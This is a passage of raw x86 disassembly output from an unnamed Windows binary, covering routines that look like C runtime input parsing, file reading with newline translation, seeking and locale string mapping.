XREF: sub_418DCD+82Cj cmp esi, 78h jnz short loc_41957D cmp ds:dword_42D2FC, 1 jle short loc_419546 push 80h push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_419553 ; --------------------------------------------------------------------------- loc_419546: ; CODE XREF: sub_418DCD+768j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 80h loc_419553: ; CODE XREF: sub_418DCD+777j test eax, eax jz loc_4195FE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41C150 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4197F2 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4195D0 ; --------------------------------------------------------------------------- loc_41957D: ; CODE XREF: sub_418DCD+75Fj cmp ds:dword_42D2FC, 1 jle short loc_419592 push 4 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_41959D ; --------------------------------------------------------------------------- loc_419592: ; CODE XREF: sub_418DCD+7B7j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 4 loc_41959D: ; CODE XREF: sub_418DCD+7C3j test eax, eax jz short loc_4195FE cmp esi, 6Fh jnz short loc_4195BB cmp ebx, 38h jge short loc_4195FE mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41C150 jmp short loc_4195CA ; --------------------------------------------------------------------------- loc_4195BB: ; CODE XREF: sub_418DCD+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_413A60 loc_4195CA: ; CODE XREF: sub_418DCD+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4195D0: ; CODE XREF: sub_418DCD+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4195E8 dec [ebp+var_C] jz short loc_41960C loc_4195E8: ; CODE XREF: sub_418DCD+814j push [ebp+arg_0] inc [ebp+var_4] call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_419529 ; --------------------------------------------------------------------------- loc_4195FE: ; CODE XREF: sub_418DCD+788j ; sub_418DCD+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419843 pop ecx pop ecx loc_41960C: ; CODE XREF: sub_418DCD+756j ; sub_418DCD+819j cmp [ebp+var_17], 0 jz loc_4196F2 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4196F2 ; --------------------------------------------------------------------------- loc_41962E: ; CODE XREF: sub_418DCD+74Cj cmp [ebp+var_F], 0 jnz loc_4196EA loc_419638: ; CODE XREF: sub_418DCD+90Aj cmp esi, 78h jz short loc_41967C cmp esi, 70h jz short loc_41967C cmp ds:dword_42D2FC, 1 jle short loc_419657 push 4 push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_419662 ; --------------------------------------------------------------------------- loc_419657: ; CODE XREF: sub_418DCD+87Cj mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 4 loc_419662: ; CODE XREF: sub_418DCD+888j test eax, eax jz short loc_4196DC cmp esi, 6Fh jnz short loc_419675 cmp ebx, 38h jge short loc_4196DC shl edi, 3 jmp short loc_4196B4 ; --------------------------------------------------------------------------- loc_419675: ; CODE XREF: sub_418DCD+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_4196B4 ; --------------------------------------------------------------------------- loc_41967C: ; CODE XREF: sub_418DCD+86Ej ; sub_418DCD+873j cmp ds:dword_42D2FC, 1 jle short loc_419694 push 80h push ebx call sub_4165E6 pop ecx pop ecx jmp short loc_4196A1 ; --------------------------------------------------------------------------- loc_419694: ; CODE XREF: sub_418DCD+8B6j mov eax, ds:off_42D0F0 mov al, [eax+ebx*2] and eax, 80h loc_4196A1: ; CODE XREF: sub_418DCD+8C5j test eax, eax jz short loc_4196DC push ebx shl edi, 4 call sub_4197F2 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4196B4: ; CODE XREF: sub_418DCD+8A6j ; sub_418DCD+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4196C6 dec [ebp+var_C] jz short loc_4196EA loc_4196C6: ; CODE XREF: sub_418DCD+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_419829 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_419638 ; --------------------------------------------------------------------------- loc_4196DC: ; CODE XREF: sub_418DCD+897j ; sub_418DCD+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_419843 pop ecx pop ecx loc_4196EA: ; CODE XREF: sub_418DCD+865j ; sub_418DCD+8F7j cmp [ebp+var_17], 0 jz short loc_4196F2 neg edi loc_4196F2: ; CODE XREF: sub_418DCD+843j ; sub_418DCD+85Cj ... cmp esi, 46h jnz short loc_4196FB and [ebp+var_1C], 0 loc_4196FB: ; CODE XREF: sub_418DCD+928j cmp [ebp+var_1C], 0 jz loc_4197D3 cmp [ebp+var_E], 0 jnz short loc_419734 inc [ebp+var_34] loc_41970E: ; CODE XREF: sub_418DCD+23Bj cmp [ebp+var_30], 0 jz short loc_419724 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_419734 ; --------------------------------------------------------------------------- loc_419724: ; CODE XREF: sub_418DCD+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_419731 mov [eax], edi jmp short loc_419734 ; --------------------------------------------------------------------------- loc_419731: ; CODE XREF: sub_418DCD+95Ej mov [eax], di loc_419734: ; CODE XREF: sub_418DCD+241j ; sub_418DCD+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_419781 ; --------------------------------------------------------------------------- loc_41973F: ; CODE XREF: sub_418DCD+93j inc [ebp+var_4] push edi call sub_419829 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_4197AE mov ecx, ds:off_42D0F0 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_419781 inc [ebp+var_4] push edi call sub_419829 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_4197BC dec [ebp+var_4] loc_419781: ; CODE XREF: sub_418DCD+970j ; sub_418DCD+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_419797 cmp byte ptr [esi], 25h jnz short loc_4197D9 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4197D9 mov esi, eax loc_419797: ; CODE XREF: sub_418DCD+9B8j mov al, [esi] test al, al jnz loc_418DF7 jmp short loc_4197D3 ; --------------------------------------------------------------------------- loc_4197A3: ; CODE XREF: sub_418DCD+1F4j ; sub_418DCD+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_4197B3 ; --------------------------------------------------------------------------- loc_4197AE: ; CODE XREF: sub_418DCD+98Aj dec [ebp+var_4] push edi push ebx loc_4197B3: ; CODE XREF: sub_418DCD+9DFj call sub_419843 pop ecx pop ecx jmp short loc_4197D3 ; --------------------------------------------------------------------------- loc_4197BC: ; CODE XREF: sub_418DCD+9AFj dec [ebp+var_4] push edi push eax call sub_419843 dec [ebp+var_4] push edi push ebx call sub_419843 add esp, 10h loc_4197D3: ; CODE XREF: sub_418DCD+1Fj ; sub_418DCD+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4197EA loc_4197D9: ; CODE XREF: sub_418DCD+9BDj ; sub_418DCD+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4197ED cmp [ebp+var_15], al jnz short loc_4197ED or eax, 0FFFFFFFFh jmp short loc_4197ED ; --------------------------------------------------------------------------- loc_4197EA: ; CODE XREF: sub_418DCD+A0Aj mov eax, [ebp+var_34] loc_4197ED: ; CODE XREF: sub_418DCD+A11j ; sub_418DCD+A16j ... pop edi pop esi pop ebx leave retn sub_418DCD endp ; =============== S U B R O U T I N E ======================================= sub_4197F2 proc near ; CODE XREF: sub_418DCD+7A3p ; sub_418DCD+8DCp arg_0 = dword ptr 4 cmp ds:dword_42D2FC, 1 push esi jle short loc_41980C mov esi, [esp+4+arg_0] push 4 push esi call sub_4165E6 pop ecx pop ecx jmp short loc_41981B ; --------------------------------------------------------------------------- loc_41980C: ; CODE XREF: sub_4197F2+8j mov esi, [esp+4+arg_0] mov eax, ds:off_42D0F0 mov al, [eax+esi*2] and eax, 4 loc_41981B: ; CODE XREF: sub_4197F2+18j test eax, eax jnz short loc_419825 and esi, 0FFFFFFDFh sub esi, 7 loc_419825: ; CODE XREF: sub_4197F2+2Bj mov eax, esi pop esi retn sub_4197F2 endp ; =============== S U B R O U T I N E ======================================= sub_419829 proc near ; CODE XREF: sub_418DCD+1E1p ; sub_418DCD+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41983B mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41983B: ; CODE XREF: sub_419829+7j push edx call sub_419940 pop ecx retn sub_419829 endp ; =============== S U B R O U T I N E ======================================= sub_419843 proc near ; CODE XREF: sub_418DCD+6Bp ; sub_418DCD+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_419859 push [esp+arg_4] push [esp+4+arg_0] call sub_41C16F pop ecx pop ecx locret_419859: ; CODE XREF: sub_419843+5j retn sub_419843 endp ; =============== S U B R O U T I N E ======================================= sub_41985A proc near ; CODE XREF: sub_418DCD+63p ; sub_418DCD+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_419860: ; CODE XREF: sub_41985A+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_419829 mov edi, eax push edi call sub_41C125 pop ecx test eax, eax pop ecx jnz short loc_419860 mov eax, edi pop edi pop esi retn sub_41985A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+8] sub ebx, 76Ch cmp ebx, 46h jl loc_41993A cmp ebx, 8Ah jg loc_41993A push esi push edi mov edi, [ebp+0Ch] mov esi, ds:dword_42DB84[edi*4] add esi, [ebp+10h] test bl, 3 jnz short loc_4198BD cmp edi, 2 jle short loc_4198BD inc esi loc_4198BD: ; CODE XREF: seg000:004198B5j ; seg000:004198BAj call sub_41C1DD mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp-8], esi add edx, ecx mov [ebp-10h], ebx add eax, edx mov edx, [ebp+1Ch] lea ecx, [eax+eax*2] mov eax, [ebp+14h] mov [ebp-1Ch], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+18h] imul ecx, 3Ch add ecx, ds:dword_42DAA0 dec edi cmp dword ptr [ebp+20h], 1 mov [ebp-14h], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+8], ecx jz short loc_419930 cmp dword ptr [ebp+20h], 0FFFFFFFFh jnz short loc_419936 cmp ds:dword_42DAA4, 0 jz short loc_419936 lea eax, [ebp-24h] push eax call sub_41C450 pop ecx mov ecx, [ebp+8] test eax, eax jz short loc_419936 loc_419930: ; CODE XREF: seg000:0041990Ej add ecx, ds:dword_42DAA8 loc_419936: ; CODE XREF: seg000:00419914j ; seg000:0041991Dj ... mov eax, ecx jmp short loc_41993D ; --------------------------------------------------------------------------- loc_41993A: ; CODE XREF: seg000:00419891j ; seg000:0041989Dj or eax, 0FFFFFFFFh loc_41993D: ; CODE XREF: seg000:00419938j pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_419940 proc near ; CODE XREF: sub_414C40+A9p ; sub_4151CC+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_419A14 test al, 40h jnz loc_419A14 test al, 2 jz short loc_419966 or al, 20h mov [esi+0Ch], eax jmp loc_419A14 ; --------------------------------------------------------------------------- loc_419966: ; CODE XREF: sub_419940+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41997A push esi call sub_41B0FC pop ecx jmp short loc_41997F ; --------------------------------------------------------------------------- loc_41997A: ; CODE XREF: sub_419940+2Fj mov eax, [esi+8] mov [esi], eax loc_41997F: ; CODE XREF: sub_419940+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_419A19 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_419A03 cmp eax, 0FFFFFFFFh jz short loc_419A03 mov edx, [esi+0Ch] test dl, 82h jnz short loc_4199D8 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_4199C1 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, ds:dword_45FB20[edi*4] lea edi, [edi+ecx*8] jmp short loc_4199C6 ; --------------------------------------------------------------------------- loc_4199C1: ; CODE XREF: sub_419940+6Bj mov edi, offset dword_42D750 loc_4199C6: ; CODE XREF: sub_419940+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_4199D8 or dh, 20h mov [esi+0Ch], edx loc_4199D8: ; CODE XREF: sub_419940+62j ; sub_419940+90j cmp dword ptr [esi+18h], 200h jnz short loc_4199F5 mov ecx, [esi+0Ch] test cl, 8 jz short loc_4199F5 test ch, 4 jnz short loc_4199F5 mov dword ptr [esi+18h], 1000h loc_4199F5: ; CODE XREF: sub_419940+9Fj ; sub_419940+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_419A03: ; CODE XREF: sub_419940+55j ; sub_419940+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_419A14: ; CODE XREF: sub_419940+Aj ; sub_419940+12j ... or eax, 0FFFFFFFFh pop esi retn sub_419940 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A19 proc near ; CODE XREF: sub_414C40+90p ; sub_419940+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, ds:dword_45FC20 jnb loc_419BF6 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:45FB20h[eax*4] mov eax, ds:dword_45FB20[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_419BF6 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_419ACE test dl, 2 jnz short loc_419ACE test dl, 48h jz short loc_419A8E mov al, [eax+5] cmp al, 0Ah jz short loc_419A8E dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_419A8E: ; CODE XREF: sub_419A19+56j ; sub_419A19+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call ds:dword_41F094 ; ReadFile test eax, eax jnz short loc_419AE1 call ds:dword_41F068 ; RtlGetLastWin32Error push 5 pop ecx cmp eax, ecx jnz short loc_419AC9 mov ds:dword_45E804, 9 mov ds:dword_45E808, ecx jmp loc_419C07 ; --------------------------------------------------------------------------- loc_419AC9: ; CODE XREF: sub_419A19+99j cmp eax, 6Dh jnz short loc_419AD5 loc_419ACE: ; CODE XREF: sub_419A19+4Cj ; sub_419A19+51j xor eax, eax jmp loc_419C0A ; --------------------------------------------------------------------------- loc_419AD5: ; CODE XREF: sub_419A19+B3j push eax call sub_41A667 pop ecx jmp loc_419C07 ; --------------------------------------------------------------------------- loc_419AE1: ; CODE XREF: sub_419A19+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_419BF1 test edx, edx jz short loc_419B06 cmp byte ptr [edi], 0Ah jnz short loc_419B06 or al, 4 jmp short loc_419B08 ; --------------------------------------------------------------------------- loc_419B06: ; CODE XREF: sub_419A19+E2j ; sub_419A19+E7j and al, 0FBh loc_419B08: ; CODE XREF: sub_419A19+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_419BEB loc_419B20: ; CODE XREF: sub_419A19+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_419BDB cmp al, 0Dh jz short loc_419B3C mov [edi], al inc edi inc [ebp+arg_8] jmp loc_419BCD ; --------------------------------------------------------------------------- loc_419B3C: ; CODE XREF: sub_419A19+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_419B5A mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_419B51 add [ebp+arg_8], 2 jmp short loc_419BAF ; --------------------------------------------------------------------------- loc_419B51: ; CODE XREF: sub_419A19+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_419BCD ; --------------------------------------------------------------------------- loc_419B5A: ; CODE XREF: sub_419A19+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_41F094 ; ReadFile test eax, eax jnz short loc_419B82 call ds:dword_41F068 ; RtlGetLastWin32Error test eax, eax jnz short loc_419BC9 loc_419B82: ; CODE XREF: sub_419A19+15Dj cmp [ebp+var_C], 0 jz short loc_419BC9 mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_419BA4 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_419BAF mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_419BCD ; --------------------------------------------------------------------------- loc_419BA4: ; CODE XREF: sub_419A19+176j cmp edi, [ebp+arg_4] jnz short loc_419BB4 cmp [ebp+var_1], 0Ah jnz short loc_419BB4 loc_419BAF: ; CODE XREF: sub_419A19+136j ; sub_419A19+17Dj mov byte ptr [edi], 0Ah jmp short loc_419BCC ; --------------------------------------------------------------------------- loc_419BB4: ; CODE XREF: sub_419A19+18Ej ; sub_419A19+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_419C0F add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_419BCD loc_419BC9: ; CODE XREF: sub_419A19+167j ; sub_419A19+16Dj mov byte ptr [edi], 0Dh loc_419BCC: ; CODE XREF: sub_419A19+199j inc edi loc_419BCD: ; CODE XREF: sub_419A19+11Ej ; sub_419A19+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_419B20 jmp short loc_419BEB ; --------------------------------------------------------------------------- loc_419BDB: ; CODE XREF: sub_419A19+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_419BEB or al, 2 mov [esi], al loc_419BEB: ; CODE XREF: sub_419A19+101j ; sub_419A19+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_419BF1: ; CODE XREF: sub_419A19+DAj mov eax, [ebp+var_8] jmp short loc_419C0A ; --------------------------------------------------------------------------- loc_419BF6: ; CODE XREF: sub_419A19+12j ; sub_419A19+39j and ds:dword_45E808, 0 mov ds:dword_45E804, 9 loc_419C07: ; CODE XREF: sub_419A19+ABj ; sub_419A19+C3j or eax, 0FFFFFFFFh loc_419C0A: ; CODE XREF: sub_419A19+B7j ; sub_419A19+1DBj pop edi pop esi pop ebx leave retn sub_419A19 endp ; =============== S U B R O U T I N E ======================================= sub_419C0F proc near ; CODE XREF: sub_414ECE+67p ; sub_415CC7+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, ds:dword_45FC20 push esi push edi jnb short loc_419C91 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:45FB20h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_419C91 push eax call sub_41B556 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_419C53 mov ds:dword_45E804, 9 jmp short loc_419CA2 ; --------------------------------------------------------------------------- loc_419C53: ; CODE XREF: sub_419C0F+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call ds:dword_41F098 ; SetFilePointer mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_419C73 call ds:dword_41F068 ; RtlGetLastWin32Error jmp short loc_419C75 ; --------------------------------------------------------------------------- loc_419C73: ; CODE XREF: sub_419C0F+5Aj xor eax, eax loc_419C75: ; CODE XREF: sub_419C0F+62j test eax, eax jz short loc_419C82 push eax call sub_41A667 pop ecx jmp short loc_419CA2 ; --------------------------------------------------------------------------- loc_419C82: ; CODE XREF: sub_419C0F+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_419CA5 ; --------------------------------------------------------------------------- loc_419C91: ; CODE XREF: sub_419C0F+Dj ; sub_419C0F+2Aj and ds:dword_45E808, 0 mov ds:dword_45E804, 9 loc_419CA2: ; CODE XREF: sub_419C0F+42j ; sub_419C0F+71j or eax, 0FFFFFFFFh loc_419CA5: ; CODE XREF: sub_419C0F+80j pop edi pop esi pop ebx retn sub_419C0F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CA9 proc near ; CODE XREF: sub_414ECE+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_419CC5 mov [edi+4], ebx loc_419CC5: ; CODE XREF: sub_419CA9+17j push 1 push ebx push esi call sub_419C0F add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_419D33 mov edx, [edi+0Ch] test dx, 108h jnz short loc_419CEA sub eax, [edi+4] jmp loc_419DFC ; --------------------------------------------------------------------------- loc_419CEA: ; CODE XREF: sub_419CA9+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_419D24 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, ds:dword_45FB20[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_419D3B mov edx, ecx loc_419D15: ; CODE XREF: sub_419CA9+79j cmp edx, eax jnb short loc_419D3B cmp byte ptr [edx], 0Ah jnz short loc_419D21 inc [ebp+var_8] loc_419D21: ; CODE XREF: sub_419CA9+73j inc edx jmp short loc_419D15 ; --------------------------------------------------------------------------- loc_419D24: ; CODE XREF: sub_419CA9+50j test dl, 80h jnz short loc_419D3B mov ds:dword_45E804, 16h loc_419D33: ; CODE XREF: sub_419CA9+2Dj or eax, 0FFFFFFFFh jmp loc_419DFC ; --------------------------------------------------------------------------- loc_419D3B: ; CODE XREF: sub_419CA9+68j ; sub_419CA9+6Ej ... cmp [ebp+var_4], 0 jnz short loc_419D49 mov eax, [ebp+var_8] jmp loc_419DFC ; --------------------------------------------------------------------------- loc_419D49: ; CODE XREF: sub_419CA9+96j test byte ptr [edi+0Ch], 1 jz loc_419DF4 mov edx, [edi+4] test edx, edx jnz short loc_419D62 and [ebp+var_8], edx jmp loc_419DF4 ; --------------------------------------------------------------------------- loc_419D62: ; CODE XREF: sub_419CA9+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:45FB20h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_419DEE push 2 push 0 push [ebp+var_C] call sub_419C0F add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_419DB5 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_419DA0: ; CODE XREF: sub_419CA9+104j cmp eax, ecx jnb short loc_419DAF cmp byte ptr [eax], 0Ah jnz short loc_419DAC inc [ebp+arg_0] loc_419DAC: ; CODE XREF: sub_419CA9+FEj inc eax jmp short loc_419DA0 ; --------------------------------------------------------------------------- loc_419DAF: ; CODE XREF: sub_419CA9+F9j test byte ptr [edi+0Dh], 20h jmp short loc_419DE9 ; --------------------------------------------------------------------------- loc_419DB5: ; CODE XREF: sub_419CA9+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_419C0F mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_419DDC mov ecx, [edi+0Ch] test cl, 8 jz short loc_419DDC test ch, 4 jz short loc_419DDF loc_419DDC: ; CODE XREF: sub_419CA9+124j ; sub_419CA9+12Cj mov eax, [edi+18h] loc_419DDF: ; CODE XREF: sub_419CA9+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_419DE9: ; CODE XREF: sub_419CA9+10Aj jz short loc_419DEE inc [ebp+arg_0] loc_419DEE: ; CODE XREF: sub_419CA9+D9j ; sub_419CA9:loc_419DE9j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_419DF4: ; CODE XREF: sub_419CA9+A4j ; sub_419CA9+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_419DFC: ; CODE XREF: sub_419CA9+3Cj ; sub_419CA9+8Dj ... pop edi pop esi pop ebx leave retn sub_419CA9 endp ; --------------------------------------------------------------------------- loc_419E01: ; CODE XREF: sub_415223+A3p ; sub_418D01+A5p ... push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41F870 push offset sub_41AE98 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp-18h], esp xor edi, edi cmp ds:dword_45E88C, edi jnz short loc_419E77 push edi push edi push 1 pop ebx push ebx push offset dword_41F868 mov esi, 100h push esi push edi call ds:dword_41F184 ; LCMapStringW test eax, eax jz short loc_419E55 mov ds:dword_45E88C, ebx jmp short loc_419E77 ; --------------------------------------------------------------------------- loc_419E55: ; CODE XREF: seg000:00419E4Bj push edi push edi push ebx push offset dword_42E344 push esi push edi call near ptr 0A70000h inc dword ptr [ebp+22840FC0h] add [eax], eax add bh, al add eax, offset dword_45E88C add al, [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_419E77: ; CODE XREF: seg000:00419E2Fj ; seg000:00419E53j cmp [ebp+14h], edi jle short loc_419E8C push dword ptr [ebp+14h] push dword ptr [ebp+10h] call sub_41A025 pop ecx pop ecx mov [ebp+14h], eax loc_419E8C: ; CODE XREF: seg000:00419E7Aj mov eax, ds:dword_45E88C cmp eax, 2 jnz short loc_419EB3 push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call near ptr 0A70000h or ebp, ecx fiadd word ptr [eax] ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_419EB3: ; CODE XREF: seg000:00419E94j cmp eax, 1 jnz loc_419F8F cmp [ebp+20h], edi jnz short loc_419EC9 mov eax, ds:dword_45E8A8 mov [ebp+20h], eax loc_419EC9: ; CODE XREF: seg000:00419EBFj push edi push edi push dword ptr [ebp+14h] push dword ptr [ebp+10h] mov eax, [ebp+24h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+20h] call ds:dword_41F12C ; MultiByteToWideChar mov ebx, eax mov [ebp-1Ch], ebx cmp ebx, edi jz loc_419F8F mov [ebp-4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_413E30 mov [ebp-18h], esp mov eax, esp mov [ebp-24h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_419F24 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor edi, edi mov [ebp-24h], edi or dword ptr [ebp-4], 0FFFFFFFFh mov ebx, [ebp-1Ch] loc_419F24: ; CODE XREF: seg000:00419F0Fj cmp [ebp-24h], edi jz short loc_419F8F push ebx push dword ptr [ebp-24h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+20h] call ds:dword_41F12C ; MultiByteToWideChar test eax, eax jz short loc_419F8F push edi push edi push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41F184 ; LCMapStringW mov esi, eax mov [ebp-28h], esi cmp esi, edi jz short loc_419F8F test byte ptr [ebp+0Dh], 4 jz short loc_419FA3 cmp [ebp+1Ch], edi jz loc_41A01E cmp esi, [ebp+1Ch] jg short loc_419F8F push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push ebx push dword ptr [ebp-24h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_41F184 ; LCMapStringW test eax, eax jnz loc_41A01E loc_419F8F: ; CODE XREF: seg000:00419EB6j ; seg000:00419EEDj ... xor eax, eax loc_419F91: ; CODE XREF: seg000:0041A020j lea esp, [ebp-38h] mov ecx, 